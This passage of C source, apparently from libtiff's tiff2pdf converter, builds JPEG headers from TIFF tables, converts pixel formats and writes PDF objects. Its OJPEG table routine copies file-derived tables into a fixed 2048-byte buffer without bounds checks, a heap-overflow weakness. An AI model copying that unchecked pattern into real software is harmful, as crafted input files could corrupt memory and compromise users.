TIFFError(TIFF2PDF_MODULE, "Missing JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(q_length < (64U * t2p->tiff_samplesperpixel)){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGDCTABLES, &dc_length, &dc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGDCTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc==JPEGPROC_BASELINE){ if(!TIFFGetField(input, TIFFTAG_JPEGACTABLES, &ac_length, &ac)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGACTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } else { if(!TIFFGetField(input, TIFFTAG_JPEGLOSSLESSPREDICTORS, &lp)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGLosslessPredictors field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGPOINTTRANSFORM, &pt)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGPointTransform field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } if(!TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp)){ h_samp=1; v_samp=1; } if(t2p->pdf_ojpegdata != NULL){ _TIFFfree(t2p->pdf_ojpegdata); t2p->pdf_ojpegdata=NULL; } t2p->pdf_ojpegdata = _TIFFmalloc(2048); if(t2p->pdf_ojpegdata == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_process_ojpeg_tables, %s", 2048, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemset(t2p->pdf_ojpegdata, 0x00, 2048); t2p->pdf_ojpegdatalength = 0; table_count=t2p->tiff_samplesperpixel; if(proc==JPEGPROC_BASELINE){ if(table_count>2) table_count=2; } ojpegdata=(unsigned char*)t2p->pdf_ojpegdata; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xd8; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xc0; } else { ojpegdata[t2p->pdf_ojpegdatalength++]=0xc3; } ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(8 + 3*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_bitspersample & 0xff); if(TIFFIsTiled(input)){ ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth ) & 0xff; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width ) & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_samplesperpixel & 0xff); for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]=i; if(i==0){ ojpegdata[t2p->pdf_ojpegdatalength] |= h_samp<<4 & 0xf0;; ojpegdata[t2p->pdf_ojpegdatalength++] |= v_samp & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= 0x11; } ojpegdata[t2p->pdf_ojpegdatalength++]=i; } for(dest=0;dest<t2p->tiff_samplesperpixel;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdb; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x43; ojpegdata[t2p->pdf_ojpegdatalength++]=dest; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength++]), &(((unsigned char*)q)[64*dest]), 64); t2p->pdf_ojpegdatalength+=64; } offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength++]=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } if(proc==JPEGPROC_BASELINE){ offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength] |= 0x10; ojpegdata[t2p->pdf_ojpegdatalength++] |=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } } if(TIFFNumberOfStrips(input)>1){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdd; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; ojpegdata[t2p->pdf_ojpegdatalength++]= (ri>>8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= ri & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xda; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(6 + 2*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=t2p->tiff_samplesperpixel & 0xff; for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]= i & 0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength] |= ( ( (i>(table_count-1U)) ? (table_count-1U) : i) << 4U) & 0xf0; ojpegdata[t2p->pdf_ojpegdatalength++] |= ( (i>(table_count-1U)) ? (table_count-1U) : i) & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++] = (i << 4) & 0xf0; } } if(proc==JPEGPROC_BASELINE){ t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]=0x3f; t2p->pdf_ojpegdatalength++; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (lp[0] & 0xff); t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]= (pt[0] & 0x0f); } return(1); } #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip( unsigned char* strip, tsize_t* striplength, unsigned char* buffer, tsize_t buffersize, tsize_t* bufferoffset, tstrip_t no, uint32 height){ tsize_t i=0; while (i < *striplength) { tsize_t datalen; uint16 ri; uint16 v_samp; uint16 h_samp; int j; int ncomp; /* marker header: one or more FFs */ if (strip[i] != 0xff) return(0); i++; while (i < *striplength && strip[i] == 0xff) i++; if (i >= *striplength) return(0); /* SOI is the only pre-SOS marker without a length word */ if (strip[i] == 0xd8) datalen = 0; else { if ((*striplength - i) <= 2) return(0); datalen = (strip[i+1] << 8) | strip[i+2]; if (datalen < 2 || datalen >= (*striplength - i)) return(0); } switch( strip[i] ){ case 0xd8: /* SOI - start of image */ if( *bufferoffset + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2); *bufferoffset+=2; break; case 0xc0: /* SOF0 */ case 0xc1: /* SOF1 */ case 0xc3: /* SOF3 */ case 0xc9: /* SOF9 */ case 0xca: /* SOF10 */ if(no==0){ if( *bufferoffset + datalen + 2 + 6 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); if( *bufferoffset + 9 >= buffersize ) return(0); ncomp = buffer[*bufferoffset+9]; if (ncomp < 1 || ncomp > 4) return(0); v_samp=1; h_samp=1; if( *bufferoffset + 11 + 3*(ncomp-1) >= buffersize ) return(0); for(j=0;j<ncomp;j++){ uint16 samp = buffer[*bufferoffset+11+(3*j)]; if( (samp>>4) > h_samp) h_samp = (samp>>4); if( (samp & 0x0f) > v_samp) v_samp = (samp & 0x0f); } v_samp*=8; h_samp*=8; ri=((( ((uint16)(buffer[*bufferoffset+5])<<8) | (uint16)(buffer[*bufferoffset+6]) )+v_samp-1)/ v_samp); ri*=((( ((uint16)(buffer[*bufferoffset+7])<<8) | (uint16)(buffer[*bufferoffset+8]) )+h_samp-1)/ h_samp); buffer[*bufferoffset+5]= (unsigned char) ((height>>8) & 0xff); buffer[*bufferoffset+6]= (unsigned char) (height & 0xff); *bufferoffset+=datalen+2; /* insert a DRI marker */ buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]=0xdd; buffer[(*bufferoffset)++]=0x00; buffer[(*bufferoffset)++]=0x04; buffer[(*bufferoffset)++]=(ri >> 8) & 0xff; buffer[(*bufferoffset)++]= ri & 0xff; } break; case 0xc4: /* DHT */ case 0xdb: /* DQT */ if( *bufferoffset + datalen + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; break; case 0xda: /* SOS */ if(no==0){ if( *bufferoffset + datalen + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; } else { if( *bufferoffset + 2 > buffersize ) return(0); buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]= (unsigned char)(0xd0 | ((no-1)%8)); } i += datalen + 1; /* copy remainder of strip */ if( *bufferoffset + *striplength - i > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i); *bufferoffset+= *striplength - i; return(1); default: /* ignore any other marker */ break; } i += datalen + 1; } /* failed to find SOS marker */ return(0); } #endif /* This functions converts a tilewidth x tilelength buffer of samples into an edgetilewidth x tilelength buffer of samples. */ void t2p_tile_collapse_left( tdata_t buffer, tsize_t scanwidth, uint32 tilewidth, uint32 edgetilewidth, uint32 tilelength){ uint32 i; tsize_t edgescanwidth=0; edgescanwidth = (scanwidth * edgetilewidth + (tilewidth - 1))/ tilewidth; for(i=0;i<tilelength;i++){ _TIFFmemcpy( &(((char*)buffer)[edgescanwidth*i]), &(((char*)buffer)[scanwidth*i]), edgescanwidth); } return; } /* * This function calls TIFFWriteDirectory on the output after blanking its * output by replacing the read, write, and seek procedures with empty * implementations, then it replaces the original implementations. */ void t2p_write_advance_directory(T2P* t2p, TIFF* output) { t2p_disable(output); if(!TIFFWriteDirectory(output)){ TIFFError(TIFF2PDF_MODULE, "Error writing virtual directory to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p_enable(output); return; } tsize_t t2p_sample_planar_separate_to_contig( T2P* t2p, unsigned char* buffer, unsigned char* samplebuffer, tsize_t samplebuffersize){ tsize_t stride=0; tsize_t i=0; tsize_t j=0; stride=samplebuffersize/t2p->tiff_samplesperpixel; for(i=0;i<stride;i++){ for(j=0;j<t2p->tiff_samplesperpixel;j++){ buffer[i*t2p->tiff_samplesperpixel + j] = samplebuffer[i + j*stride]; } } return(samplebuffersize); } tsize_t t2p_sample_realize_palette(T2P* t2p, unsigned char* buffer){ uint32 sample_count=0; uint16 component_count=0; uint32 palette_offset=0; uint32 sample_offset=0; uint32 i=0; uint32 j=0; sample_count=t2p->tiff_width*t2p->tiff_length; component_count=t2p->tiff_samplesperpixel; for(i=sample_count;i>0;i--){ palette_offset=buffer[i-1] * component_count; sample_offset= (i-1) * component_count; for(j=0;j<component_count;j++){ buffer[sample_offset+j]=t2p->pdf_palette[palette_offset+j]; } } return(0); } /* This functions converts in place a buffer of ABGR interleaved data into RGB interleaved data, discarding A. */ tsize_t t2p_sample_abgr_to_rgb(tdata_t data, uint32 samplecount) { uint32 i=0; uint32 sample=0; for(i=0;i<samplecount;i++){ sample=((uint32*)data)[i]; ((char*)data)[i*3]= (char) (sample & 0xff); ((char*)data)[i*3+1]= (char) ((sample>>8) & 0xff); ((char*)data)[i*3+2]= (char) ((sample>>16) & 0xff); } return(i*3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, discarding A. */ tsize_t t2p_sample_rgbaa_to_rgb(tdata_t data, uint32 samplecount) { uint32 i; for(i = 0; i < samplecount; i++) memcpy((uint8*)data + i * 3, (uint8*)data + i * 4, 3); return(i * 3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, adding 255-A to each component sample. */ tsize_t t2p_sample_rgba_to_rgb(tdata_t data, uint32 samplecount) { uint32 i = 0; uint32 sample = 0; uint8 alpha = 0; for (i = 0; i < samplecount; i++) { sample=((uint32*)data)[i]; alpha=(uint8)((255 - ((sample >> 24) & 0xff))); ((uint8 *)data)[i * 3] = (uint8) ((sample >> 16) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 1] = (uint8) ((sample >> 8) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 2] = (uint8) (sample & 0xff) + alpha; } return (i * 3); } /* This function converts the a and b samples of Lab data from signed to unsigned. */ tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t buffer, uint32 samplecount){ uint32 i=0; for(i=0;i<samplecount;i++){ if( (((unsigned char*)buffer)[(i*3)+1] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+1] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+1]); } else { ((unsigned char*)buffer)[(i*3)+1] |= 0x80; } if( (((unsigned char*)buffer)[(i*3)+2] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+2] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+2]); } else { ((unsigned char*)buffer)[(i*3)+2] |= 0x80; } } return(samplecount*3); } /* This function writes the PDF header to output. */ tsize_t t2p_write_pdf_header(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[16]; int buflen=0; buflen = snprintf(buffer, sizeof(buffer), "%%PDF-%u.%u ", t2p->pdf_majorversion&0xff, t2p->pdf_minorversion&0xff); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t)"\n%\342\343\317\323\n", 7); return(written); } /* This function writes the beginning of a PDF object to output. */ tsize_t t2p_write_pdf_obj_start(uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen ); written += t2pWriteFile(output, (tdata_t) " 0 obj\n", 7); return(written); } /* This function writes the end of a PDF object to output. */ tsize_t t2p_write_pdf_obj_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "endobj\n", 7); return(written); } /* This function writes a PDF name object to output. */ tsize_t t2p_write_pdf_name(unsigned char* name, TIFF* output){ tsize_t written=0; uint32 i=0; char buffer[64]; uint16 nextchar=0; size_t namelen=0; namelen = strlen((char *)name); if (namelen>126) { namelen=126; } written += t2pWriteFile(output, (tdata_t) "/", 1); for (i=0;i<namelen;i++){ if ( ((unsigned char)name[i]) < 0x21){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if ( ((unsigned char)name[i]) > 0x7E){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if (nextchar==0){ switch (name[i]){ case 0x23: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x25: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x28: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x29: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x2F: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3C: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3E: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; default: written += t2pWriteFile(output, (tdata_t) &name[i], 1); } } nextchar=0; } written += t2pWriteFile(output, (tdata_t) " ", 1); return(written); } /* * This function writes a PDF string object to output. */ tsize_t t2p_write_pdf_string(char* pdfstr, TIFF* output) { tsize_t written = 0; uint32 i = 0; char buffer[64]; size_t len = 0; len = strlen(pdfstr); written += t2pWriteFile(output, (tdata_t) "(", 1); for (i=0; i<len; i++) { if((pdfstr[i]&0x80) || (pdfstr[i]==127) || (pdfstr[i]<32)){ snprintf(buffer, sizeof(buffer), "\\%.3o", ((unsigned char)pdfstr[i])); written += t2pWriteFile(output, (tdata_t)buffer, 4); } else { switch (pdfstr[i]){ case 0x08: written += t2pWriteFile(output, (tdata_t) "\\b", 2); break; case 0x09: written += t2pWriteFile(output, (tdata_t) "\\t", 2); break; case 0x0A: written += t2pWriteFile(output, (tdata_t) "\\n", 2); break; case 0x0C: written += t2pWriteFile(output, (tdata_t) "\\f", 2); break; case 0x0D: written += t2pWriteFile(output, (tdata_t) "\\r", 2); break; case 0x28: written += t2pWriteFile(output, (tdata_t) "\\(", 2); break; case 0x29: written += t2pWriteFile(output, (tdata_t) "\\)", 2); break; case 0x5C: written += t2pWriteFile(output, (tdata_t) "\\\\", 2); break; default: written += t2pWriteFile(output, (tdata_t) &pdfstr[i], 1); } } } written += t2pWriteFile(output, (tdata_t) ") ", 1); return(written); } /* This function writes a buffer of data to output. */ tsize_t t2p_write_pdf_stream(tdata_t buffer, tsize_t len, TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) buffer, len); return(written); } /* This functions writes the beginning of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "stream\n", 7); return(written); } /* This function writes the end of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "\nendstream\n", 11); return(written); } /* This function writes a stream dictionary for a PDF stream to output. */ tsize_t t2p_write_pdf_stream_dict(tsize_t len, uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/Length ", 8); if(len!=0){ written += t2p_write_pdf_stream_length(len, output); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); } return(written); } /* This functions writes the beginning of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "<< \n", 4); return(written); } /* This function writes the end of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) " >>\n", 4); return(written); } /* This function writes a number to output. */ tsize_t t2p_write_pdf_stream_length(tsize_t len, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)len); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n", 1); return(written); } /* * This function writes the PDF Catalog structure to output. */ tsize_t t2p_write_pdf_catalog(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; written += t2pWriteFile(output, (tdata_t)"<< \n/Type /Catalog \n/Pages ", 27); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, TIFFmin((size_t)buflen, sizeof(buffer) - 1)); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); if(t2p->pdf_fitwindow){ written += t2pWriteFile(output, (tdata_t) "/ViewerPreferences <</FitWindow true>>\n", 39); } written += t2pWriteFile(output, (tdata_t)">>\n", 3); return(written); } /* This function writes the PDF Info structure to output. */ tsize_t t2p_write_pdf_info(T2P* t2p, TIFF* input, TIFF* output) { tsize_t written = 0; char* info; char buffer[512]; if(t2p->pdf_datetime[0] == '\0') t2p_pdf_tifftime(t2p, input); if (strlen(t2p->pdf_datetime) > 0) { written += t2pWriteFile(output, (tdata_t) "<< \n/CreationDate ", 18); written += t2p_write_pdf_string(t2p->pdf_datetime, output); written += t2pWriteFile(output, (tdata_t) "\n/ModDate ", 10); written += t2p_write_pdf_string(t2p->pdf_datetime, output); } written += t2pWriteFile(output, (tdata_t) "\n/Producer ", 11); snprintf(buffer, sizeof(buffer), "libtiff / tiff2pdf - %d", TIFFLIB_VERSION); written += t2p_write_pdf_string(buffer, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); if (t2p->pdf_creator[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(t2p->pdf_creator, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_SOFTWARE, &info) != 0 && info) { if(strlen(info) >= sizeof(t2p->pdf_creator)) info[sizeof(t2p->pdf_creator) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_author[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(t2p->pdf_author, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if ((TIFFGetField(input, TIFFTAG_ARTIST, &info) != 0 || TIFFGetField(input, TIFFTAG_COPYRIGHT, &info) != 0) && info) { if (strlen(info) >= sizeof(t2p->pdf_author)) info[sizeof(t2p->pdf_author) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_title[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(t2p->pdf_title, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_DOCUMENTNAME, &info) != 0){ if(strlen(info) > 511) { info[512] = '\0'; } written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_subject[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(t2p->pdf_subject, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_IMAGEDESCRIPTION, &info) != 0 && info) { if (strlen(info) >= sizeof(t2p->pdf_subject)) info[sizeof(t2p->pdf_subject) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_keywords[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Keywords ", 10); written += t2p_write_pdf_string(t2p->pdf_keywords, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } written += t2pWriteFile(output, (tdata_t) ">> \n", 4); return(written); } /* * This function fills a string of a T2P struct with the current time as a PDF * date string, it is called by t2p_pdf_tifftime. */ void t2p_pdf_currenttime(T2P* t2p) { struct tm* currenttime; time_t timenow; if (time(&timenow) == (time_t) -1) { TIFFError(TIFF2PDF_MODULE, "Can't get the current time: %s", strerror(errno)); timenow = (time_t) 0; } currenttime = localtime(&timenow); snprintf(t2p->pdf_datetime, sizeof(t2p->pdf_datetime), "D:%.4d%.2d%.2d%.2d%.2d%.2d", (currenttime->tm_year + 1900) % 65536, (currenttime->tm_mon + 1) % 256, (currenttime->tm_mday) % 256, (currenttime->tm_hour) % 256, (currenttime->tm_min) % 256, (currenttime->tm_sec) % 256); return; } /* * This function fills a string of a T2P struct with the date and time of a * TIFF file if it exists or the current time as a PDF date string. */ void t2p_pdf_tifftime(T2P* t2p, TIFF* input) { char* datetime; if (TIFFGetField(input, TIFFTAG_DATETIME, &datetime) != 0 && (strlen(datetime) >= 19) ){ t2p->pdf_datetime[0]='D'; t2p->pdf_datetime[1]=':'; t2p->pdf_datetime[2]=datetime[0]; t2p->pdf_datetime[3]=datetime[1]; t2p->pdf_datetime[4]=datetime[2]; t2p->pdf_datetime[5]=datetime[3]; t2p->pdf_datetime[6]=datetime[5]; t2p->pdf_datetime[7]=datetime[6]; t2p->pdf_datetime[8]=datetime[8]; t2p->pdf_datetime[9]=datetime[9]; t2p->pdf_datetime[10]=datetime[11]; t2p->pdf_datetime[11]=datetime[12]; t2p->pdf_datetime[12]=datetime[14]; t2p->pdf_datetime[13]=datetime[15]; t2p->pdf_datetime[14]=datetime[17]; t2p->pdf_datetime[15]=datetime[18]; t2p->pdf_datetime[16] = '\0'; } else { t2p_pdf_currenttime(t2p); } return; } /* * This function writes a PDF Pages Tree structure to output. */ tsize_t t2p_write_pdf_pages(T2P* t2p, TIFF* output) { tsize_t written=0; tdir_t i=0; char buffer[32]; int buflen=0; int page=0; written += t2pWriteFile(output, (tdata_t) "<< \n/Type /Pages \n/Kids [ ", 26); page = t2p->pdf_pages+1; for (i=0;i<t2p->tiff_pagecount;i++){ buflen=snprintf(buffer, sizeof(buffer), "%d", page); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if ( ((i+1)%8)==0 ) { written += t2pWriteFile(output, (tdata_t) "\n", 1); } page +=3; page += t2p->tiff_pages[i].page_extra; if(t2p->tiff_pages[i].page_tilecount>0){ page += (2 * t2p->tiff_pages[i].page_tilecount); } else { page +=2; } } written += t2pWriteFile(output, (tdata_t) "] \n/Count ", 10); buflen=snprintf(buffer, sizeof(buffer), "%d", t2p->tiff_pagecount); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, 